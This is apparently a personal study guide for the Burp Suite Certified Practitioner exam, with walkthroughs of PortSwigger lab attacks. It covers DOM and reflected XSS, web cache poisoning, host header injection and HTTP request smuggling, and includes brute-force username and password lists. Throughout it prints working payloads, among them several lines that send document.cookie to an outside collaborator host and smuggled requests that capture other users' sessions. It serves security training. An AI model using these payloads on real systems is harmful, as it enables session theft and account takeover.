Jack's Burp Suite CP Methodology
Check List
Useful Resources
Enumeration
Foothold
Privilege Escalation
Data Exfiltration
Technical Insights
Information
About
About
What is the Burp Suite Certified Practitioner Exam?
The Burp Suite Certified Practitioner (BSCP) exam is a hands-on, practical assessment developed by PortSwigger, the creators of Burp Suite, to validate a candidate’s ability to discover, analyse, and exploit a variety of web application vulnerabilities using Burp Suite Professional. It is widely respected in the cybersecurity community as a challenging, real-world exam designed to mirror the workflows of professional penetration testers. The exam not only tests technical proficiency, but also examines the candidate’s ability to chain vulnerabilities, think laterally under time pressure, and maintain a methodical and efficient testing process.
Exam
Exam
What does the exam involve?
The exam takes place in a controlled online environment and consists of two separate web applications that must be compromised within a four-hour window. The objective is to exploit a sequence of vulnerabilities and eventually access a hidden flag stored on the file system at /home/carlos/secret.txt. Candidates are expected to use Burp Suite Professional for all aspects of the test, including intercepting and modifying requests, analysing responses, and automating tasks with tools such as Intruder and Repeater. Each application contains multiple layers of security, requiring thorough enumeration, creative problem-solving, and a clear understanding of web attack techniques.
Stage 1 – Initial Foothold
This stage focuses on gaining access to the target application as a low-privilege user, typically “Carlos”. It requires exploiting an authentication or session management flaw to compromise the user’s account. Cross-site scripting and HTTP request smuggling are also very common at this stage.
Stage 2 – Privilege Escalation
After gaining user-level access, you must escalate your privileges to gain administrative access. This usually involves identifying and exploiting authorisation, SQL injection or access control flaws within the application.
Stage 3 – Data Exfiltration
The final objective is to read and retrieve the contents of the flag file located at home/carlos/secret.txt. This typically requires chaining multiple vulnerabilities to gain file-system-level access or server-side code execution. Techniques often include exploiting insecure file uploads, remote code execution (RCE), directory traversal or SSRF attacks. Successful completion of this stage demonstrates advanced exploitation skills and the ability to deliver a complete attack chain under time constraints.
Prepare
Prepare
How to Prepare for the Exam
A focused and structured preparation strategy is essential for success. Although completing all the labs on PortSwigger’s Web Security Academy will be beneficial, it is recommended that you concentrate on the specific topics below.
Targeted Lab Categories
Prioritise labs on authentication, access control, business logic vulnerabilities, cross-site scripting (XSS), SQL injection and server-side vulnerabilities such as OS command injection and SSRF.
Mystery Labs
The “Mystery” labs on PortSwigger’s platform are highly valuable for preparation. These labs mimic the style of the exam and train you to efficiently identify and chain together multiple vulnerabilities within a single application.
Practice Exams
PortSwigger offers two practice exams that closely resemble the format and difficulty of the actual BSCP exam. It is strongly recommended that you complete both before attempting the real exam, as they provide insight into the pacing, complexity and expected techniques.
Files
Username List
Username List
carlos
root
gregg
admin
test
guest
info
adm
mysql
user
administrator
oracle
ftp
pi
puppet
peter
wiener
C0nt3ntM4n4g3r
ansible
ec2-user
vagrant
azureuser
academico
acceso
carl
james
access
accounting
accounts
acid
activestat
ad
adam
adkit
admin
administracion
administrador
administrator
administrators
admins
ads
adserver
adsl
ae
af
affiliate
affiliates
afiliados
ag
agenda
agent
ai
aix
ajax
ak
akamai
al
alabama
alaska
albuquerque
alerts
alpha
alterwind
am
amarillo
americas
an
anaheim
analyzer
announce
announcements
antivirus
ao
ap
apache
apollo
app
app01
app1
apple
application
applications
apps
appserver
aq
ar
archie
arcsight
argentina
arizona
arkansas
arlington
as
as400
asia
asterix
at
athena
atlanta
atlas
att
au
auction
austin
auth
auto
autodiscover
Password List
Password List
C0nt3ntM4n4g3r
peter
wiener
carlos
gregg
rosebud
123456
password
12345678
qwerty
123456789
12345
admin
administrator
cheat
1234
onceuponatime
burp
portswigger
Peanut
Skippy
Peanut2019
111111
1234567
dragon
123123
baseball
abc123
football
monkey
montoya
letmein
content
shadow
master
666666
qwertyuiop
123321
mustang
1234567890
michael
654321
superman
1qaz2wsx
7777777
121212
000000
qazwsx
123qwe
killer
trustno1
jordan
jennifer
zxcvbnm
asdfgh
hunter
buster
soccer
harley
batman
andrew
tigger
sunshine
iloveyou
2000
charlie
robert
thomas
hockey
ranger
daniel
starwars
klaster
112233
george
computer
michelle
jessica
pepper
1111
zxcvbn
555555
11111111
131313
freedom
777777
pass
maggie
159753
aaaaaa
ginger
princess
joshua
cheese
amanda
summer
love
ashley
nicole
chelsea
biteme
matthew
access
yankees
987654321
dallas
austin
thunder
taylor
matrix
mobilemail
mom
monitor
monitoring
montana
moon
moscow
dbsuperpassword
gemini2
gemini
Lab Wordlist
Lab Wordlist
1
2
3
1.txt
2.txt
ai
api
accountapi
account-api
account_api
chat
history
help
helpline
halpline
hal
avatars
avatar
cgi-bin
phpinfo
/cgi-bin/phpinfo.php
phpinfo.php
cross
crossdomain
crossdomain.xml
domain
customtemplate
CustomTemplate.php
/libs/CustomTemplate.php
libs
lib
sitemap.xml
sitemap
info
pragma
ProductTemplate
ProductTemplate.java.bak
infoleak
leak
bypass
robots.txt
robots
robot
dev
development
tst
prd
prod
test
backup
/backup
.git
/.git/
invalid
authentication
admin-roles
attack
attacker
hack
hacker
hackers
java
AccessTokenUser.java
/backup/AccessTokenUser.java
ProductTemplate.java
/backup/ProductTemplate.java
/backup/ProductTemplate.java.bak
/post/comment/confirmation.zip
confirmation.zip
confirmation.bak
administrator-panel
administrator_panel
administratorpanel
/admin_panel/update_forgot_email/
update_forgot_email
confirmation.0
confirmation.old
confirmation.-old
backup.zip
source.zip
code.zip
secrets.zip
password.zip
info.zip
path
nextproduct
/admin
role-selector
roleselector
role
roles
selector
X-Custom-IP-Authorization: 127.0.0.1
localhost
trace
TRACE
hello
log_in
administrator
admin.conf
js
/resources/js/tracking.js
/resources/js/downloadReport.js
/resources/js/changeEmail.js
/resources/js/searchResults.js
/resources/js/stockCheck.js
/resources/js/xmlStockCheckPayload.js
xmlStockCheckPayload.js
stockCheck.js
stock
settings
setting
debug
searchResults.js
searchResults
downloadReport.js
downloadReport
download
download-transcript
transcript
load
loadimage
report
save-report
save_report
savereport
report.pdf
tracking.js
isloggedin
password
username
sign
sign-in
signin
sign_in
sign-out
sign_out
logout
logoff
comment
reg
registration
register
new
blog
posts
account
my-account
my_account
my-account-details
my_account_details
myaccount
myaccountdetails
myaccountdetail
my-account-details/change-email
my-account-details/update-email
new-password
new_password
refresh
version
ver
v1
v2
back
refreshpassword
refresh_password
refresh-password
post
resources
resource
image
images
/resources/images/tracker.gif
third-party
login
log-in
exploit
upload
files
productID
search_term
search-term
searchterm
term
searchadvanced
tracker
tracker.gif
id
email
mail
log
logs
page
forgot
forgot-password
forgotpassword
forgot_password
advance
adv
advanced
search
search_advanced
filteredsearch
filter
lookup
admin_panel
admin-panel
import
adminpanel
user_import
/admin_panel/user_import
admin_control
admincontrols
admin-controls
admin_controls
control
controls
admin
admins
deliver-to-victim
imagefile
blog_images
blog_image
/admin_controls/metrics/admin-image/
/admin_controls/metrics/blog_images/
/metrics/admin-image/
metrics
submit
metric
exam
apps
app
strut
struts
del
james
kettle
delete
apache
Apache
bscp
blog-image
blogimage
blog_image
admin-image
admin_image
adminimage
change
change-email
change_email
change-password
change_password
changepassword
changeemail
changeemail.js
update
patch
update-email
updateemail
update_email
users
add_users
removeuser
remove-user
remove_user
secret
secretkey
secret_key
home
carlos
product
productcatalog
products
/image/productcatalog/products/
Burp
Suite
Certified
Practitioner
all-labsFocussed Scanning
Information
Information
Due to the limited time available during the exam, you should use focused scanning instead of full scans. Identify an area, such as an input that you believe is interesting, and use focused scanning on that input:
Right Click -> Scan Selected Insertion Point -> OKInformation Disclosure
Location
Location
Robots / Sitemap
Check these files for hidden directories!
/robots.txt
Source code
Check for developer comments revealing hidden paths
<!-- <a href=/cgi-bin/phpinfo.php>Debug</a> -->
HTTP Methods
Check for HTTP methods such as TRACK or TRACE
TRACE /home HTTP/1.1
Error Messages
Try to invoke error messages for software version disclosures
https://0a77006d04a85f9c81486baf00ba0013.web-security-academy.net/product?productId=invalid
Directories
Brute force sensitive directories:
https://lab/.git
Exploit
Exploit
Information disclosure in error messages
In this lab, you can find a software version through a malformed URL:
https://0a77006d04a85f9c81486baf00ba0013.web-security-academy.net/product?productId=rrfger
Information disclosure on the debug page
In this lab, look through the developer comments to find the phpinfo page:
<!-- <a href=/cgi-bin/phpinfo.php>Debug</a> -->
Source code disclosure via backup files
Go to /robots.txt and find /backup. This contains the database password:
https://0af400b204ed8003850458b5005f00df.web-security-academy.net/backup/ProductTemplate.java.bak
Authentication bypass via information disclosure
In this lab, you can use a TRACE method to find a header which is valid. Set this to 127.0.0.1 and access the admin portal:
GET /admin HTTP/2
Host: 0a9300c704f8a96c810c0249005d000e.web-security-academy.net
Cookie: session=pnoTsu8xJq05UczEbhvuXfFqun7LjW7b
X-Custom-IP-Authorization: 127.0.0.1
Information disclosure in version control history
In this lab there is an exposed /.git repository. Download this using:
wget -r https://LAB-ID/.git
This can then be opened with the GitHub Desktop. From here, you can view all previous commits. This reveals the admin password in the config file:
ADMIN_PASSWORD=6ao2455zzlc5bo3acda1
Tools
Tools
https://portswigger.net/web-security/information-disclosure/exploiting
Fuzzing
The following will fuzz for basic lab endpoints:
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt
ffuf -c -w ./burp-labs-wordlist.txt -u https://Lab-ID.web-security-academy.net/FUZZ
Burp Content Discovery
Go to engagement tools in Burp, discover content Session is running
DOM XSS
Location of exploit
Location of exploit
URL
The search bar is a common area for DOM-based XSS:
https://LAB/?search=PAYLOAD
Return Buttons
Some labs feature back buttons that return you to previous pages. These can be positioned to execute JavaScript when pressed:
https://LAB/feedback?returnPath=javascript:alert(1)
Hash Change
In some labs, payloads can be injected after a #:
https://LAB/#PAYLOAD
Stock Select
DOM-based XSS can occur where you can inject into the storeId and input a value into the dropdown:
https://LAB/product?productId=1&storeId=PAYLOAD
External Javascript Files
Look for files such as searchResults.js:
This may contain code that is vulnerable to DOM XSS.
Comment Feature
In stored DOM XSS labs, you can use the comment feature to pass dangerous JavaScript that will be used in a dangerous way.
csrf=4hinGtR7jFkGxFH08o9nAejd9PSWZ6BX&postId=8&comment=%3C%3E%3Cimg+src%3Dx+onerror%3Dalert%2810%29%3E&name=test&email=test%40twta.com&website=https%3A%2F%2Ftest.com
Unrestricted Web Messages
Look for code such as:
window.addEventListener('message', function(e) {
- This may indicate you can send a message to the web page. If then processed by a sink, this can lead to XSS.
Cookies
Some labs use cookies as values that are passed to dangerous sinks:
cookie=PAYLOAD
Sources, Sinks and Methods
Look out for the following code in the source code. These may indicate DOM-based XSS:
document.write()
window.location
document.cookie
eval()
document.domain
WebSocket()
element.src
postMessage()
setRequestHeader()
FileReader.readAsText()
ExecuteSql()
sessionStorage.setItem()
document.evaluate()
JSON.parse
ng-app
URLSearchParams
replace()
innerHTML
location.search
addEventListener
sanitizeKey()
Exploit Concept
Exploit Concept
Fuzzer Payload
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer
Burp Labs
DOM XSS in document.write sink using source location.search
In this lab, you can use an image tag to trigger the XSS.
https://LAB/?search=%22%27%3E%3Cimg%20src%20onerror=alert(1)%3E1%27%22%3C%3E
DOM XSS in innerHTML sink using source location.search
Once again, this lab can be exploited using an image tag:
https://LAB/?search=%22%27%3E%3Cimg%20src%20onerror=alert(1)%3E1%27%22%3C%3E
DOM XSS in jQuery anchor href attribute sink using location.search source
In this lab, you can poison a back button to trigger Javascript when pressed.
https://LAB/feedback?returnPath=javascript:alert(1)
DOM XSS in jQuery selector sink using a hash change event
In this lab, you can inject into a hash change. As it needs to be a change, you need to load in the page then change it:
<iframe src="https://LAB/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
DOM XSS in document.write sink using source location.search inside a select element
In this lab, you can inject into the stock check dropdown through the URL. You need to break out of the select first:
https://LAB/product?productId=1&storeId=%3C/select%3E%3Cimg%20src%20onerror=alert(1)%3E
DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
In this lab, you need to notice that a vulnerable version of Angular is being used. The vulnerability is identified by noticing the search string is enclosed in an ng-app directive and /js/angular 1-7-7.js script included.
https://LAB/?search={{$on.constructor('alert(1)')()}}
Reflected DOM XSS
In this lab, you can reflect a payload that will break out of Javascript and create a DOM-based vulnerability.
https://LAB/?search=\"-alert(1)}//
Stored DOM XSS
In this lab, you can post a comment that will be interpreted in a dangerous way when the page is loaded. You need to add an extra <> at the front to break the sanitisation.
csrf=4hinGtR7jFkGxFH08o9nAejd9PSWZ6BX&postId=8&comment=%3C%3E%3Cimg+src%3Dx+onerror%3Dalert%2810%29%3E&name=test&email=test%40twta.com&website=https%3A%2F%2Ftest.com
DOM XSS using web messages
In this lab, the website does not specify where web messages can come from. This allows an attacker to send a malicious request that is then processed by the eval sink.
<iframe src="https://LAB/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">
DOM XSS using web messages and a JavaScript URL
In this lab, you can send a post request that will redirect to a URL. The URL needs http or https to be valid. You can bypass this as follows:
<iframe src="https://LAB/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">
DOM XSS using web messages and JSON.parse
This event listener expects a string that is parsed using JSON.parse(). In the JavaScript below, we can see that the event listener expects a type property and that the load-channel case of the switch statement changes the img src attribute.
<iframe src=https://LAB/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
DOM-based cookie manipulation
In this lab, the cookie is used as a location for a redirection button. The value can be broke out of and Javascript can be injected. Injecting the cookie requires redirecting the user:
<iframe src="https://LAB/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://LAB/';window.x=1;">
Exploits to perform action
Exploits to perform action
The main idea is to send the session cookie back to a collaborator link. This can be best achieved through the following:
document.location='https://OASTIFY.COM/?domxss='+document.cookie
For a more detailed guide on turning these payloads into exploits to steal cookies, it is recommended to refer to the [Burp Exam Guide](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study?tab=readme-ov-file#dom-based-xss for).
Tools to help
Tools to help
DOM Invader
For all of these labs, it is recommended to use DOM Invader. This is an easy way to see where your payload is injected.
Cross-Site Scripting
Location
Location
Identify Allowed Tags
Basic XSS payloads to _identify_ application security filter controls for handling data received in HTTP requests.
<img src=1 onerror=alert(1)>
"><svg><animatetransform onbegin=alert(1)>
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer
Identify Stored XSS
Fuzzer payload:
<img src="https://EXPLOIT.net/img">
<script src="https://EXPLOIT.net/script"></script>
<video src="https://EXPLOIT.net/video"></video>
Burp Labs
Burp Labs
1. Reflected XSS into HTML context with most tags and attributes blocked
In this lab, you can brute-force tags and event handlers. You can see that body and onresize are allowed. This can be exploited through an iframe that resizes when it loads:
search="><body onresize=print()>" onload=this.style.width='100px'>
2. Reflected XSS with some SVG markup allowed
In this lab you can brute-force the tags and event handlers until you find a payload that works:
Step 1: Intruder tags:
See that the following tags are allowed:
- svg
- animatetransform
Step 2: Brute-force event handlers:
See that the following tag is allowed:
- onbegin
Step 3: Build the payload:
"><svg><animatetransform onbegin=alert(1)>
3. Reflected XSS into HTML context with all tags blocked except custom ones
This lab allows you to make custom tags:
<script>
location = 'https://TARGET.net/?search=<xss+id=x+onfocus=document.location='https://OASTIFY.COM/?c='+document.cookie tabindex=1>#x';
</script>
4. Reflected XSS into a JavaScript string with single quote and backslash escaped
In this lab you need to break out of a <script> tag in the code:
</script><img src=jackmason onerror=alert(1)>
5. Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
In this lab you can break out of the context into script tags and call an alert. This can be done through:
\'-alert(1)//
6. Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
In this lab, you can take advantage of template injection to break out and alert (1)
${alert(1)}
Stored XSS
Test for stored XSS using the following payloads:
<img src="https://EXPLOIT.net/img">
<script src="https://EXPLOIT.net/script"></script>
<video src="https://EXPLOIT.net/video"></video>
Bypass
Bypass
Burp XSS Cheatsheet
Bypass WAF restrictions
The following lab walks you through how to bypass WAF restrictions when it states that tag is not allowed or event handler is not allowed.
You can use the above cheatsheet to brute-force all available tags and event handlers until you find some that are allowed.
Custom tags not blocked
The application responds with the message _“Tag is not allowed”_ when attempting to insert XSS payloads, but if we create a custom tag, it is bypassed.
<xss+id=x>#x';
_Identify_ if the above custom tag is not blocked in the search function, by observing the response. Create the below payload to steal the session cookie out-of-band.
<script>
location = 'https://TARGET.net/?search=<xss+id=x+onfocus=document.location='https://OASTIFY.COM/?c='+document.cookie tabindex=1>#x';
</script>
Using Global Variables
This is a good read which talks about how to use global variables to bypass input filters:
window<a href="window["document"]["cookie"]">"alert"</a>;
fetch(<code>{`https://OASTIFY.COM/?jsonc=`}</code> + window["document"]["cookie"])
Resources
Resources
XSS Cheatsheet
XSS Github
XSS Cookie Stealers
Web Cache Poisoning
Location-of-exploit
Location of exploit
Cache Hit
Look out for the following in the responses:
Cache-Control: max-age=30
Age: 6
X-Cache: hit
Cookies
Sometimes cookies are un-keyed and can be used to poison the cache:
fehost=jackmason"-alert(1)-"jack
Query Strings
This is rare but may be possible.
GET /?attack=PAYLOAD
Query Parameters
This is where only certain parameters are excluded from the cache key:
GET /?utm_content=jackmason'/><script>alert(1)</script>
Common Headers
X-Forwarded-Host:
X-Forwarded-Scheme:
External js files
Look out for the following js files which you can poison:
/resources/js/tracking.js
/js/geolocate.js
Exam
Exam
In the exam, you are going to try and inject Cross-Site Scripting through the /resources/js/tracking.js file. Look out for the following:
/resources/js/tracking.js
Age: 0
X-Cache: hit
If you get both of these, try to inject your exploit server through the X-Forwarded-Host header. If this works, use the following payload on your exploit server:
document.write('<img src="http://burp.oastify.com?c='+document.cookie+'" />')
Burp-labs
Burp Labs
Exploiting cache design flaws
Link to Burp Labs: Burp Labs
1. Web cache poisoning with an unkeyed header
This is a super simple lab, run Param Miner, and find that X-Forwarded-Host is a hidden header. Inject your exploit server as this header. See that it replaces a JavaScript file path. Then run JavaScript on your exploit server to pop an alert:
X-Forwarded-Host: EXPLOIT-SERVER
URL: https://EXPLOIT-SERVER/resources/js/tracking.js
alert(document.cookie)
2. Web cache poisoning with an unkeyed cookie
In this lab, you can inject into a cookie which is not cached and included in JavaScript:
fehost=jackmason"-alert(1)-"jack
3. Web cache poisoning with multiple headers
This lab is a difficult one. You need to find two headers to inject into. The X-Forwarded-Scheme: makes the website redirect and the X-Forwarded-Host: header tells the page where to redirect to. This can be exploited by telling the /resources/js/tracking.js file to redirect to your exploit server:
GET /resources/js/tracking.js HTTP/2
X-Forwarded-Scheme: https1
X-Forwarded-Host: EXPLOIT-SERVER
https://EXPLOIT-SERVER/resources/js/tracking.js
alert(document.cookie)
4. Targeted web cache poisoning using an unknown header
This lab is very interesting. The user agent is keyed so that you can only perform self XSS. To complete this lab, you need to find the victim’s User-Agent. This can be achieved by posting an image with the src to your exploit server.
<img src=Exploit Server>
Then use this user agent in the access log as your own.
Find the unkeyed header with Param Miner and poison the file:
X-Host: Exploit Server
This will deliver your payload to the victim.
5. Web cache poisoning via ambiguous requests
This lab combines both host header injection and web cache poisoning. The host header is un-keyed and replaced with your exploit server. There is some simple validation that can be bypassed with two Host headers:
GET / HTTP/1.1
Host: LAB
Host: Exploit Server
Exploiting cache implementation flaws
Link to Burp Labs: Burp Labs
6. Web cache poisoning via an unkeyed query string
The query string is in the URL. In this lab, you can inject a payload after the ? that is cached.
GET /?attack='/><script>alert(1)</script>
7. Web cache poisoning via an unkeyed query parameter
In this lab, the parameter utm_content is un-keyed.
GET /?utm_content=jackmason'/><script>alert(1)</script> HTTP/2
8. Parameter cloaking
In this lab, you can cloak a query parameter using a ; which acts as a delimiter. With this, you can poison an external file: /js/geolocate.js:
GET /js/geolocate.js?callback=setCountryCookie&utm_content=jack;callback=alert(1)// HTTP/2
9. Web cache poisoning via a fat GET request
In this lab, you can send a fat GET request (a GET request with a parameter) to cache a value:
GET /js/geolocate.js?callback=setCountryCookie HTTP/2
callback=alert(1)//
Tools-to-help
Tools to help
Param Miner
Param Miner is your best friend for these labs. Most of the time, it will find the unkeyed headers/query strings and even sometimes perform cache poisoning for you. The easiest way to use it is to Guess Everything!
Host Header Injection
Location
Location
The best place to look for this exploit is by modifying the Host header. However, this exploit can still be achieved through custom headers.
Other headers:
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net
Password Reset Exploit
A good place to look to exploit this issue is on the forgotten password functionality. Change the Host to your exploit server and the username field to that of your target’s. You might then receive the forgotten password token in your access log:
POST /forgot-password HTTP/2
Host: exploit.server
...
csrf=x&username=TARGET
Burp-labs
Burp Labs
Link to Burp Labs: Burp Labs
1. Host header authentication bypass
This is a very simple lab. The admin panel is only available to localhost.
GET /admin HTTP/2
Host: localhost
2. Routing-based SSRF
In this lab, it’s possible to perform an SSRF attack and scan an internal network via the host header.
First, add the collaborator as the host header. You will get a lookup.
Then change it to 192.168.0.1 and intrude up to 255.
Find the admin panel and delete carlos.
3. SSRF via flawed request parsing
In this lab, you need to bypass validation by using an absolute URL:
POST https://LAB/admin/delete HTTP/2
Host: 192.168.0.150
username=carlos&csrf=c9rH6r9o5zyRnlO7l67HxG6LNHYChJwC
4. Host validation bypass via connection state attack
This lab is good. You can only do SSRF if in the same connection state as a valid request.
To complete this lab, do the following:
1. Group a normal request and a malicious request.
2. Send these in sequence.
3. See that the malicious request goes through.
4. Edit the IP address.
5. Find the admin panel and delete carlos.
POST /admin/delete HTTP/1.1
Host: 192.168.0.1
...
username=carlos&csrf=tfCbBWdq2fTtFBQo2rehDvfllzcjjaXT
5. Basic password reset poisoning
This is a good lab and very applicable. You can reset your password and poison the link that contains the reset token. This will make Carlos reset his password and give you the link:
POST /forgot-password HTTP/2
Host: exploit-SERVER
csrf=3oFzpOtZlUPrz0Dv3PATfO6iurNwfYEU&username=carlos
6. Dangling markup
Host: web-security-academy.net:'<a href="http://burp-collaborator.com?
Bypass
Bypass
Here are some simple bypasses against common defences:
Check for flawed validation
Instead of receiving an "Invalid Host header" response, you might find that your request is blocked by a security measure. For example, some sites validate whether the Host header matches the SNI from the TLS handshake.
GET /example HTTP/1.1
Host: vulnerable-website.com:bad-stuff-here
Inject duplicate Host headers
Try adding duplicate Host headers to see if developers have overlooked this possibility. For example:
GET /example HTTP/1.1
Host: vulnerable-website.com
Host: bad-stuff-here
Supply an absolute URL
Ambiguities between the request line and the Host header can expose inconsistencies. Example:
GET https://vulnerable-website.com/ HTTP/1.1
Host: bad-stuff-here
Indent HTTP headers
Servers may misinterpret indented headers. This technique can help bypass validation:
GET /example HTTP/1.1
Host: bad-stuff-here
Host: vulnerable-website.com
Inject host override headers
Use X-Forwarded-Host to inject input while bypassing validation on the Host header:
GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: bad-stuff-hereHTTP Request Smuggling
Identify
Identify
CL.TE
In these labs, the front-end server uses the Content-Length header, and the back-end server uses the Transfer-Encoding header.
- You don’t need to update the content length
Basic Example:
POST / HTTP/1.1
Host: web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GPOST /404 HTTP/1.1
Foo: x
TE.CL
Here, the front-end server uses the Transfer-Encoding header, and the back-end server uses the Content-Length header.
Requirements
- You need to set the Content-Length so it does not update.
- You need a trailing
- The number above, i.e.
5c, needs to be the HEX value of the content fromGPOSTup to, but not including, the0. - The content length needs to be greater than what is below it
Basic Example
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
TE.TE
Here, the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.
Requirements
- You need to set the Content-Length so it does not update.
- You need a trailing
- The number above, i.e.
5c, needs to be the HEX value of the content fromGPOSTup to, but not including, the0. - The content length needs to be greater than what is below it
- You need to find a way to obfuscate the
TEheader
Basic example
In this example, the front end rejects the headers as it does not accept two, but the backend does accept the headers.
POST / HTTP/1.1
Host: web-security-academy.net
Te: trailers
Content-length: 4
Transfer-Encoding: chunked
Transfer-Encoding: xchunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Exam Exploits
Exam Exploits
Bypass front restrictions
HTTP Request Smuggling can be used to access areas of the application that might not otherwise be reachable, such as the /admin panel.
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
- View labs 4 and 5
Capture Users Requests
This can be used to steal session tokens and anything else in a user’s header. This is only possible when it is possible to post a comment or similar functionality.
POST / HTTP/1.1
Host: web-security-academy.net
Content-Length: 231
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Cookie: session=fYN0YMQL87XWdW0d2qhSJN5ATCkXmyFQ
Content-Length: 900
name=test&email=test@test.com&website=https://www.tets.com&comment=test
x=
- View labs 6, 7 and 10
Deliver XSS
As you can control a user request, it may be possible to deliver self-XSS. This can be used to steal session cookies.
POST / HTTP/1.1
Host: web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 168
0
GET /post?postId=6 HTTP/1.1
Host: 0aa6000503f91bd081c0110100730073.web-security-academy.net
User-Agent: "><script>alert(1)</script>jack//
Content-Length:5
x=
- View lab 8
Poison Redirects
If a web page is vulnerable to self-redirection attacks, it is possible to call in external payloads from an exploit server:
POST / HTTP/2
Host: web-security-academy.net
Content-Length: 0
GET /resources HTTP/1.1
Host: exploit.exploit-server.net
Content-Length: 10
x=
- View lab 9
All Labs
All Labs
Identifying HTTP Request Smuggling
1. HTTP request smuggling, basic CL.TE vulnerability
Super simple lab. You need to smuggle a GPOST request:
POST / HTTP/1.1
Host: 0a24002a0404372980befe9c00fe002d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GPOST /404 HTTP/1.1
Foo: x
2. HTTP request smuggling, basic TE.CL vulnerability
Again, another simple lab to smuggle GPOST:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
3. HTTP request smuggling, obfuscating the TE header
This is a lab where you need to obfuscate the second TE header.
POST / HTTP/1.1
Host: web-security-academy.net
Te: trailers
Content-length: 4
Transfer-Encoding: chunked
Transfer-Encoding: xchunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Exploiting Issues
4. Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability
In this lab, you can access the backend /admin panel by smuggling a request. You are not allowed duplicate headers, so need to set x= and a content length so that the following HOST header is not interpreted:
POST / HTTP/1.1
Host: web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 108
e
q=smuggling&x=
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 6
x=
5. Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability
This lab is very similar, apart from it being TE.CL
POST / HTTP/1.1
Host: web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
87
GET /admin/delete?username=carlos HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: localhost
Content-Length: 15
x=1
0
6. Exploiting HTTP request smuggling to reveal front-end request rewriting
This lab is good. You need to grab your own request made to the backend. This can be done through the comments section.
Request 1:
POST / HTTP/1.1
Host: 0a3d00f703bdb0f380ef0d4d005000ba.web-security-academy.net
Content-Length: 291
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: 0a3d00f703bdb0f380ef0d4d005000ba.web-security-academy.net
Cookie: session=XcvXo9piO7E1qBkMHvq1LA8MmDvKYQUM
Content-Length: 750
csrf=r50LyzY87xNHYlKrtYcS5kWRM8hL6Ppm&postId=10&name=test&email=test@test.com&website=https://www.tets.com&comment=test
Request 2:
POST / HTTP/1.1
Host: 0a3d00f703bdb0f380ef0d4d005000ba.web-security-academy.net
Content-Length: 97
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
Content-Length: 10
X-CnIULo-Ip: 127.0.0.1
x=
7. Exploiting HTTP request smuggling to capture other users’ requests
It’s the same as the previous lab, except you are stealing another user’s request for their session cookie:
POST / HTTP/1.1
Host: web-security-academy.net
Content-Length: 231
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Cookie: session=fYN0YMQL87XWdW0d2qhSJN5ATCkXmyFQ
Content-Length: 900
csrf=MNok9WDvuYVkOMOpc1aTn3AiEt4M8gPk&postId=2&name=test&email=test@test.com&website=https://www.tets.com&comment=test
x=
8. Exploiting HTTP request smuggling to deliver reflected XSS
This is a good lab and also very applicable to the exam. You need to deliver XSS to another user through the user agent header:
POST / HTTP/1.1
Host: web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 168
0
GET /post?postId=6 HTTP/1.1
Host: 0aa6000503f91bd081c0110100730073.web-security-academy.net
User-Agent: "><script>alert(1)</script>jack//
Content-Length:5
x=
HTTP/2 request smuggling
9. H2.CL request smuggling
This is an easy lab in context but hard to understand. You need to poison the request to redirect to your exploit server. This can be done by setting a Content-Length of 0:
POST / HTTP/2
Host: web-security-academy.net
Content-Length: 0
GET /resources HTTP/1.1
Host: exploit.exploit-server.net
Content-Length: 10
x=
10. HTTP/2 request smuggling via CRLF injection
This lab is very interesting. You can capture another user’s request through H2.TE. This means you can smuggle a transfer encoding header through and log a user’s response. This is possible through CLRF in a header.
